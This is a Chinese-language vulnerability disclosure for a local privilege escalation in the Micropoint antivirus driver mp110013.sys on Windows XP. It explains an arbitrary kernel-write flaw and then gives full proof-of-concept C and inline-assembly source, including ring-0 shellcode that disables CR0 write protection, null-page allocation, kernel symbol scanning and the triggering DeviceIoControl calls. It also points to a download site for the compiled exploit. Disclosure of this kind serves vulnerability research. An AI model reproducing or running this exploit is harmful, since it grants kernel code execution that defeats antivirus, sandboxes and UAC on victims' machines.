漏洞涉及产品:微点主动防御100323.1.2.10581.0278.r1及以下版本
mp110013.sys <= 1.3.10123.0
漏洞影响:
通过漏洞攻击者在最低系统权限下执行内核权限代码,从而可以突破任何存在的安全防护软件,包括沙盘、主动防御、杀毒软件、防火墙、HIPS、UAC和系统安全设置
漏洞详细原理和利用方法
微点主动防御的驱动程序Mp110003.sys中存在这样一个功能,允许用户提供PspCreateProcessNotifyRoutineCount和PspCreateProcessNotifyRoutine 相对于ntoskrnl的偏移,提供后,微点将在mp110003中处理这个偏移,从偏移地址获取PspCreateProcessNotifyRoutine数组,并寻找自己在其中注册的项目,将此项目位置作为数值A
接着在其对于NtCreateProcessEx的钩子和系统线程中,高频率检查PspCreateProcessNotifyRoutineCount中的数值是否小于数值A,如果小于,则关闭系统内存写保护,并将数值A写回到PspCreateProcessNotifyRoutineCount指向的内存
由于偏移地址可随意指定,因此用户态的程序可以使微点驱动写入任意内核地址,但这个漏洞的利用条件实际是比较苛刻的,需要满足下面3个条件:
(1).由于微点会开启系统线程去访问PspCreateProcessNotifyRoutineCount和PspCreateProcessNotifyRoutine,因此我们不能指定一个位于用户态内存的地址。
(2).PspCreateProcessNotifyRoutine又必须满足要存在一项微点自己的回调函数,这是比较困难的,因为NotifyRoutine的结构在XP下有一点麻烦,最好是使用原始的地址了。
(3).PspCreateProcessNotifyRoutineCount指向的内存中的数值必须小于当前真正的回调函数个数,又能被某一个RING3程序可以调用的系统调用访问或执行,因为系统只允许最多8个回调函数,所以最终写入数值只可能是1~8之间,因此必须申请0号地址内存去执行。
这里我使用了PspLegoNotifyRoutine这个东东,这个回调首先系统通常是空的,满足条件3,同时可以通过线程的结束来控制,这个通知条件是KThread->LegoData不为空,由于这个地址通常也是空的,因此我们同样可以利用这个漏洞来将其设为非空,最后由于我们需要申请0号地址来执行代码,因此不能用进程主线程干这个事,因为LegoNotfiy 执行时机在PspExitThread中比较晚,那时如果是主线程销毁,进程的VM已经被销毁了。
利用程序:http://mj0011.ys168.com 漏洞演示目录下mp0day1.exe
漏洞利用的结果是在内核态向系统所有进程的ntdll.dll基址偏移0x8写入“6543”
这里利用程序有一些平台相关的处理,懒得做兼容了,目前只支持XP。
利用代码如下:
// mp0day1.cpp : Defines the entry point for the console application. //
#include "stdafx.h" #include "windows.h" #include "shlwapi.h" #pragma comment(lib , "shlwapi.lib")
VOID __declspec(naked) ShellCode() { __asm { pushad mov eax , cr0 push eax and eax, 0xFFFEFFFF mov cr0 , eax cli mov eax , 0xAAAA5555 mov dword ptr[eax] , 0x33343536 sti pop eax mov cr0 , eax popad ret 0x4 } } VOID __declspec(naked) nopfunc() { __asm{mov edi ,edi nop }; } enum { SystemModuleInformation = 11, SystemHandleInformation = 16 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; PVOID GetInfoTable(ULONG ATableType) { ULONG mSize = 0x4000; PVOID mPtr = NULL; LONG status; HMODULE hlib = GetModuleHandle("ntdll.dll"); PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation"); do { mPtr = malloc(mSize); if (mPtr) { __asm { push 0 push mSize push mPtr push ATableType call pZwQuerySystemInformation mov status , eax } } else { return NULL; } if (status == 0xc0000004) { free(mPtr); mSize = mSize * 2; } } while (status == 0xc0000004);
if (status == 0) { return mPtr; }
free(mPtr); return NULL; } typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
DWORD WINAPI LegoThread(LPVOID lpThreadParameter) { while(TRUE) { Sleep(0x1000);
} return 0 ; } int main(int argc, char* argv[]) { DWORD dwVersion = 0; DWORD dwMajorVersion = 0; DWORD dwMinorVersion = 0;
dwVersion = GetVersion();
// Get the Windows version.
dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion))); dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));
if (dwMajorVersion != 5 || dwMinorVersion != 1) { printf("POC for XP only\n"); getchar(); return 0 ; }
printf("Micropoint Mp110003.sys <= 1.3.10123.0 Local Privilege Escalation Vulnerability POC\n" "by MJ0011 th_decoder@126.com\n" "Press Enter\n");
getchar(); HANDLE hDev = CreateFile("\\\\.\\mp110013" , 0 , FILE_SHARE_READ | FILE_SHARE_WRITE , 0, OPEN_EXISTING,0, 0 );
if (hDev == INVALID_HANDLE_VALUE) { printf("cannot open device %u\n" , GetLastError()); return 0 ; }
PVOID BaseAddress = (PVOID) 1; ULONG RegionSize = (ULONG) 0; PVOID pNtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory"); PVOID pNtFreeVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtFreeVirtualMemory");
ULONG status ;
__asm { push 0x8000 lea eax , RegionSize push eax lea eax , BaseAddress push eax push 0xffffffff call pNtFreeVirtualMemory mov RegionSize,0x1000 push 0x40 push 0x3000 lea eax , RegionSize push eax push 0 lea eax , BaseAddress push eax push 0xffffffff call pNtAllocateVirtualMemory mov status , eax }
if (status != 0 ) { printf("allocate 0 memory failed %08x\n" , status); return 0 ; } //set nop code ULONG codesize = (ULONG)nopfunc - (ULONG)ShellCode;
memset((PVOID)0 , 0x90 , 0x8); memcpy((PVOID)0x8 , ShellCode , codesize); ULONG i ; for (i = 0x8 ; i < codesize+0x8 ; i++) { if (*(DWORD*)i == 0xAAAA5555) { *(DWORD*)i = (DWORD)(GetModuleHandle("ntdll.dll") + 0x2); break ; } }
PSYSTEM_MODULE_INFORMATION pModInfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
if (pModInfo == 0 ) { printf("get info table failed!\n"); return 0 ; }
ULONG Tid ;
HANDLE hThread = CreateThread(0 , 0 , LegoThread , 0 , 0 , &Tid); if (hThread == 0 ) { printf("cannot open thread %u\n",GetLastError()); return 0 ; } //SystemHandleInformation=16 PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(16); if (pHandleInfo == 0 ) { printf("cannot get handle info\n"); return 0 ; } ULONG ThreadObject =0;
for (i = 0 ; i < pHandleInfo->NumberOfHandles ; i ++) { if (pHandleInfo->Information[i].UniqueProcessId == GetCurrentProcessId() && pHandleInfo->Information[i].HandleValue == (USHORT)hThread) { ThreadObject = (ULONG)pHandleInfo->Information[i].Object; break ; } } if (ThreadObject == 0 ) { printf("cannot get thread object!\n"); return 0 ; } ThreadObject+=0xd0;
HMODULE hkernel = LoadLibraryA(strrchr(pModInfo->Module[0].ImageName, '\\') + 1); if (hkernel == 0 ) { printf("kernel mapping error %u\n" , GetLastError()); return 0 ; }
ULONG PsSetLegoNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetLegoNotifyRoutine"); ULONG PspLegoNotifyRoutine = 0 ;
if (PsSetLegoNotifyRoutine ==0) { printf("PsSetLegoNotifyRoutine==0"); return 0 ; }
for (i = PsSetLegoNotifyRoutine ; i < PsSetLegoNotifyRoutine + 0x10 ; i ++) { if (*(BYTE*)i == 0xa3 && *(BYTE*)(i + 5 == 0xb8 ) && *(DWORD*)(i + 6 )==0xd0) { PspLegoNotifyRoutine = *(ULONG*)(i +1); break ; } }
if (PspLegoNotifyRoutine == 0 ) { printf("bad PsSetLegoNotifyRoutine\n"); return 0 ; } ULONG PsSetCreateProcessNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetCreateProcessNotifyRoutine"); ULONG PspCreateProcessNotifyRoutine= 0 ;
if (PsSetCreateProcessNotifyRoutine==0) { printf("PsSetCreateProcessNotifyRoutine==0!\n"); return 0 ; }
for (i = PsSetCreateProcessNotifyRoutine ; i < PsSetCreateProcessNotifyRoutine + 0x30 ; i ++) { if (*(BYTE*)i == 0xbf && *(WORD*)(i + 5) == 0xe857) { PspCreateProcessNotifyRoutine = *(ULONG*)(i + 1); break ; } }
if (PspCreateProcessNotifyRoutine ==0) { printf("bad PsSetCreateProcessNotifyRoutine!\n"); return 0 ; }
PIMAGE_DOS_HEADER doshdr ; PIMAGE_NT_HEADERS nthdr ; doshdr = (PIMAGE_DOS_HEADER )(hkernel); nthdr = (PIMAGE_NT_HEADERS)((ULONG)hkernel + doshdr->e_lfanew);
PspLegoNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase; PspCreateProcessNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase; FreeLibrary(hkernel); ULONG PspLegoNotifyRoutineOff = (ULONG)PspLegoNotifyRoutine - (ULONG)pModInfo->Module[0].Base ; ULONG PspCreateProcessNotifyRoutineOff = (ULONG)PspCreateProcessNotifyRoutine - (ULONG)pModInfo->Module[0].Base; ULONG btr ; ULONG InputBuffer[3] = {0x0 , PspCreateProcessNotifyRoutineOff , PspLegoNotifyRoutineOff };
if (!DeviceIoControl(hDev , 0x800001A4, &InputBuffer , sizeof(ULONG)*3 , NULL, 0, &btr , 0)) { printf("device io control failed %u\n", GetLastError()); return 0 ; }
PVOID pNtCreateProcessEx = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtCreateProcessEx"); HANDLE hProc ;
__asm { push 0 push 0 push 0 push 0 push 0 push 0x1 push 0 push 0 lea eax ,hProc push eax call pNtCreateProcessEx } ULONG ThreadLegoDataOff = ThreadObject - (ULONG)pModInfo->Module[0].Base ;
InputBuffer[2] = ThreadLegoDataOff; if (!DeviceIoControl(hDev , 0x800001A4, &InputBuffer , sizeof(ULONG)*3 , NULL, 0, &btr , 0)) { printf("device io control failed %u\n", GetLastError()); return 0 ; }
__asm { push 0 push 0 push 0 push 0 push 0 push 0x1 push 0 push 0 lea eax ,hProc push eax call pNtCreateProcessEx }
TerminateThread(hThread , 0 );
printf("POC Executed\n"); getchar(); return 0; }
|